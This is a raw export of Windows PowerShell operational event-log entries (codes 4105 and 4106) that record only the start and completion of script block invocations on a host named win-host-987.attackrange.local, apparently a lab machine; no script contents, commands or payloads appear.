SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027231
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027229
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027228
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027211
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027205
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
